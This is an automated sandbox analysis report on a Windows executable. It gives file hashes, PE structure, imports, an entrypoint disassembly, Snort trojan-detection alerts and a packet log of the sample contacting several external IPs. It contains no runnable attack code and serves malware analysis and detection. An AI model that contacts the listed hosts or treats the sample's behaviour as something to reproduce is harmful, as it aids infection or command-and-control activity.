SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAk8dqZYMe7mkRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1CEF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.084962500721156
Encrypted:	false
SSDEEP:	3:qFRLw:qrM
MD5:	6392530D01F61CDB2C8F063B66F6319E
SHA1:	79D6EA6967EFF3926289DA1B244383B525D1E5C4
SHA-256:	EF38C0AB16AE884A1E92EAB0D03F45491AEDF586C33B3746E8C21ED7461FCDEF
SHA-512:	501264DCC0EFCAACB24B654300E92E12E40E8F1EF6ED9D0385FEF65EB02AA9A7C05CD341C8D02BF20D7D19BD6AE110A4E4283AF1B4E2FCE0ABCBFC612E87AD4B
Malicious:	false
Reputation:	unknown
Preview:	In the end..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.756528384061032
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	244'224 bytes
MD5:	a235e0ac41f596b68f029ea73e5c5fbb
SHA1:	0a32b671b9e0779286aade3e0ced081bebee0545
SHA256:	e629fcf41de2187cafd4c8c38b1e9408a5c521d29459971bb96fae5da26fa9d5
SHA512:	488188aa814ea2edfb739219476ca5032769e0f9dbad89ea6634c11b7476edaed2d00b05580ead7c8c1b3f0de6aaf602a657ed6e91176af94119d6a95d8b84a5
SSDEEP:	3072:CS3FadSScKYWoJ98FEavp9JONrll57W7pg0TrBR:DVaMSBYWaIEavp9JONrljWBT
TLSH:	86348C1BA698FE61D8164632CE3EC5F8369DF9118F496B5732387FAF2871172D272210
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1bc.1bc.1bc./0...bc./0..'bc./0...bc.....6bc.1bb..bc./0..0bc./0..0bc./0..0bc.Rich1bc.................PE..L...##.b...........

File Icon


Icon Hash:	514d455901514d09

Static PE Info

General

Entrypoint:	0x403eb2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62B02323 [Mon Jun 20 07:34:59 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d8ea289378a268137b06d95026e35c90

Entrypoint Preview

Instruction
call 00007F433D43528Bh
jmp 00007F433D43118Dh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov esi, ecx
mov byte ptr [esi+0Ch], 00000000h
test eax, eax
jne 00007F433D431375h
call 00007F433D433689h
mov dword ptr [esi+08h], eax
mov ecx, dword ptr [eax+6Ch]
mov dword ptr [esi], ecx
mov ecx, dword ptr [eax+68h]
mov dword ptr [esi+04h], ecx
mov ecx, dword ptr [esi]
cmp ecx, dword ptr [00427DB0h]
je 00007F433D431324h
mov ecx, dword ptr [00427CCCh]
test dword ptr [eax+70h], ecx
jne 00007F433D431319h
call 00007F433D436598h
mov dword ptr [esi], eax
mov eax, dword ptr [esi+04h]
cmp eax, dword ptr [00427BD0h]
je 00007F433D431328h
mov eax, dword ptr [esi+08h]
mov ecx, dword ptr [00427CCCh]
test dword ptr [eax+70h], ecx
jne 00007F433D43131Ah
call 00007F433D435E0Ch
mov dword ptr [esi+04h], eax
mov eax, dword ptr [esi+08h]
test byte ptr [eax+70h], 00000002h
jne 00007F433D431326h
or dword ptr [eax+70h], 02h
mov byte ptr [esi+0Ch], 00000001h
jmp 00007F433D43131Ch
mov ecx, dword ptr [eax]
mov dword ptr [esi], ecx
mov eax, dword ptr [eax+04h]
mov dword ptr [esi+04h], eax
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov dword ptr [00428DB0h], eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [00427688h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
and dword ptr [ebp-00000328h], 00000000h
push ebx
push 0000004Ch
lea eax, dword ptr [ebp-00000324h]
push 00000000h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25b84	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19e000	0x11558	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1b0000	0xbbc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2e50	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1e0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x25692	0x25800	False	0.8059375	data	7.62389205775492	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x27000	0x176278	0x1e00	False	0.24088541666666666	data	2.535260138549893	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x19e000	0x11558	0x11600	False	0.3261859262589928	data	4.41628150816722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1b0000	0x2886	0x2a00	False	0.24032738095238096	data	2.6178156241372164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1a97a0	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0	English	United States	0.1948529411764706
RT_CURSOR	0x1a9ad0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	English	United States	0.33223684210526316
RT_CURSOR	0x1a9c28	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.2953091684434968
RT_CURSOR	0x1aaad0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.46705776173285196
RT_CURSOR	0x1ab378	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5361271676300579
RT_CURSOR	0x1ab910	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.27238805970149255
RT_CURSOR	0x1ac7b8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.375
RT_CURSOR	0x1ad060	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5057803468208093
RT_CURSOR	0x1ad5f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.30943496801705755
RT_CURSOR	0x1ae4a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.427797833935018
RT_CURSOR	0x1aed48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5469653179190751
RT_ICON	0x19e670	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.35714285714285715
RT_ICON	0x19f518	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4733754512635379
RT_ICON	0x19fdc0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.46307053941908716
RT_ICON	0x1a2368	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.4702157598499062
RT_ICON	0x1a3410	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.49645390070921985
RT_ICON	0x1a38c8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3678038379530917
RT_ICON	0x1a4770	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.45577617328519854
RT_ICON	0x1a5018	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	English	United States	0.4608294930875576
RT_ICON	0x1a56e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.45664739884393063
RT_ICON	0x1a5c48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.2670124481327801
RT_ICON	0x1a81f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.30909943714821764
RT_ICON	0x1a9298	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.35904255319148937
RT_ACCELERATOR	0x1a9768	0x38	data	English	United States	0.8928571428571429
RT_GROUP_CURSOR	0x1a9c00	0x22	data	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x1ab8e0	0x30	data	English	United States	0.9375
RT_GROUP_CURSOR	0x1ad5c8	0x30	data	English	United States	0.9375
RT_GROUP_CURSOR	0x1af2b0	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x1a3878	0x4c	data	English	United States	0.75
RT_GROUP_ICON	0x1a9700	0x68	data	English	United States	0.7019230769230769
RT_VERSION	0x1af2e0	0x278	data	English	United States	0.5205696202531646

Imports

DLL	Import
KERNEL32.dll	WriteConsoleInputW, GetConsoleAliasesLengthW, PeekNamedPipe, WriteConsoleOutputCharacterA, LoadResource, AddConsoleAliasW, SetVolumeMountPointW, FreeEnvironmentStringsA, GetProcessPriorityBoost, GetTickCount, GetCompressedFileSizeW, GlobalAlloc, LoadLibraryW, IsProcessInJob, GetSystemWindowsDirectoryA, EnumSystemCodePagesA, GetNamedPipeInfo, GetFileAttributesW, GetVolumePathNameA, GetLargestConsoleWindowSize, ReleaseActCtx, GetLastError, GetProcAddress, VirtualAlloc, PeekConsoleInputW, BeginUpdateResourceW, FillConsoleOutputCharacterA, SetComputerNameA, GlobalFree, CreateHardLinkW, GetNumberFormatW, AddAtomW, RemoveDirectoryW, SetFileApisToANSI, BeginUpdateResourceA, OpenJobObjectW, FoldStringW, GetOEMCP, FindNextFileA, SetCalendarInfoA, _lopen, GetWindowsDirectoryW, GetCurrentProcessId, GlobalAddAtomW, OpenFileMappingA, ReadFile, GetProcessHeap, BackupWrite, GetComputerNameA, HeapFree, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, RaiseException, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapReAlloc, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, Sleep, HeapSize, ExitProcess, RtlUnwind, WriteFile, GetStdHandle, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetSystemTimeAsFileTime, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, IsValidCodePage, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, LoadLibraryA, CloseHandle, CreateFileA, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, SetEndOfFile
USER32.dll	GetWindowTextLengthA, LoadMenuW, ChangeDisplaySettingsA, CharToOemBuffA
GDI32.dll	GetCharABCWidthsFloatA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
34.94.245.237192.168.2.480497482037771 10/13/23-16:05:30.416832	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49748	34.94.245.237	192.168.2.4
35.205.61.67192.168.2.480497492037771 10/13/23-16:05:34.790373	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49749	35.205.61.67	192.168.2.4
34.143.166.163192.168.2.480497602037771 10/13/23-16:05:42.879469	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49760	34.143.166.163	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2023 16:04:53.994649887 CEST	443	49741	173.222.162.49	192.168.2.4
Oct 13, 2023 16:04:53.994800091 CEST	49741	443	192.168.2.4	173.222.162.49
Oct 13, 2023 16:04:53.994925976 CEST	49741	443	192.168.2.4	173.222.162.49
Oct 13, 2023 16:04:53.994985104 CEST	443	49741	173.222.162.49	192.168.2.4
Oct 13, 2023 16:04:53.995055914 CEST	49741	443	192.168.2.4	173.222.162.49
Oct 13, 2023 16:04:53.995064974 CEST	443	49741	173.222.162.49	192.168.2.4
Oct 13, 2023 16:04:53.995121002 CEST	49741	443	192.168.2.4	173.222.162.49
Oct 13, 2023 16:04:53.996551037 CEST	49738	443	192.168.2.4	204.79.197.200
Oct 13, 2023 16:04:54.157767057 CEST	443	49738	204.79.197.200	192.168.2.4
Oct 13, 2023 16:04:54.188999891 CEST	443	49738	204.79.197.200	192.168.2.4
Oct 13, 2023 16:04:54.189327955 CEST	49738	443	192.168.2.4	204.79.197.200
Oct 13, 2023 16:04:54.292658091 CEST	49738	443	192.168.2.4	204.79.197.200
Oct 13, 2023 16:05:00.964282036 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:00.964329958 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:00.964421034 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:00.965997934 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:00.966023922 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.304594040 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.304820061 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.307526112 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.307549953 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.307991028 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.337626934 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.378458977 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.619287968 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.619376898 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.619450092 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.619505882 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.619505882 CEST	49743	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.619529009 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.619541883 CEST	443	49743	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.815187931 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.815224886 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:01.815315008 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.815948963 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:01.815968990 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.154087067 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.154450893 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.156543970 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.156569958 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.156900883 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.158261061 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.202449083 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.474088907 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.474261045 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.474443913 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.474960089 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.474981070 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.474992990 CEST	49744	443	192.168.2.4	23.36.118.84
Oct 13, 2023 16:05:02.474999905 CEST	443	49744	23.36.118.84	192.168.2.4
Oct 13, 2023 16:05:02.773137093 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 13, 2023 16:05:18.385844946 CEST	80	49723	209.197.3.8	192.168.2.4
Oct 13, 2023 16:05:18.386142015 CEST	49723	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:05:18.843431950 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:18.843535900 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:18.843636990 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:18.861490011 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:18.861567020 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:19.811275005 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:19.811497927 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:19.814130068 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:19.814182997 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:19.814594030 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:19.866861105 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.148241043 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.194474936 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767504930 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767563105 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767584085 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767601967 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767637014 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.767641068 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767662048 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767678022 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.767688990 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767704010 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.767738104 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.767851114 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.767920017 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.767930031 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.768038988 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:20.768091917 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.797905922 CEST	49745	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:20.797914028 CEST	443	49745	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:26.170535088 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.515238047 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.515351057 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.515722036 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.515777111 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.860712051 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.860726118 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.860734940 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.863149881 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.863218069 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.863312006 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.864006042 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:26.864026070 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:26.913738966 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:27.582448959 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:27.582535982 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:27.584640980 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:27.584661007 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:27.585016966 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:27.611141920 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:27.654464960 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.270668030 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.270760059 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.270819902 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:28.270862103 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.270947933 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.271013021 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:28.271277905 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:28.271298885 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:28.271331072 CEST	49747	443	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:28.271337032 CEST	443	49747	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:29.934206009 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.171144962 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:30.171327114 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.179717064 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.179750919 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.416459084 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:30.416477919 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:30.416831970 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:30.417119026 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:30.417205095 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.417903900 CEST	49748	80	192.168.2.4	34.94.245.237
Oct 13, 2023 16:05:30.654483080 CEST	80	49748	34.94.245.237	192.168.2.4
Oct 13, 2023 16:05:33.478436947 CEST	80	49724	209.197.3.8	192.168.2.4
Oct 13, 2023 16:05:33.478622913 CEST	49724	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:05:34.043309927 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.461703062 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:34.461822987 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.462146044 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.462201118 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.790286064 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:34.790333986 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:34.790373087 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:34.790407896 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:34.790621996 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.790987968 CEST	49749	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:34.793730021 CEST	49750	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.118359089 CEST	80	49749	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.122030973 CEST	80	49750	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.122111082 CEST	49750	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.130867004 CEST	49750	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.464890957 CEST	80	49750	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.464988947 CEST	80	49750	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.465023994 CEST	80	49750	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.465096951 CEST	49750	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.465296984 CEST	49750	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.466427088 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.788217068 CEST	80	49750	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.790662050 CEST	80	49751	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:35.790772915 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:35.791069984 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.112550974 CEST	80	49751	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.112577915 CEST	80	49751	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.112688065 CEST	80	49751	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.112756014 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.112869978 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.114003897 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.439393044 CEST	80	49752	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.439531088 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.439822912 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.762396097 CEST	80	49752	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.762422085 CEST	80	49752	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.762444973 CEST	80	49752	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:36.762514114 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.762945890 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.763982058 CEST	49753	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:36.913722992 CEST	49751	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.167279959 CEST	80	49753	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.167579889 CEST	49753	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.167821884 CEST	49753	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.242984056 CEST	80	49751	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.497518063 CEST	80	49753	35.205.61.67	192.168.2.4
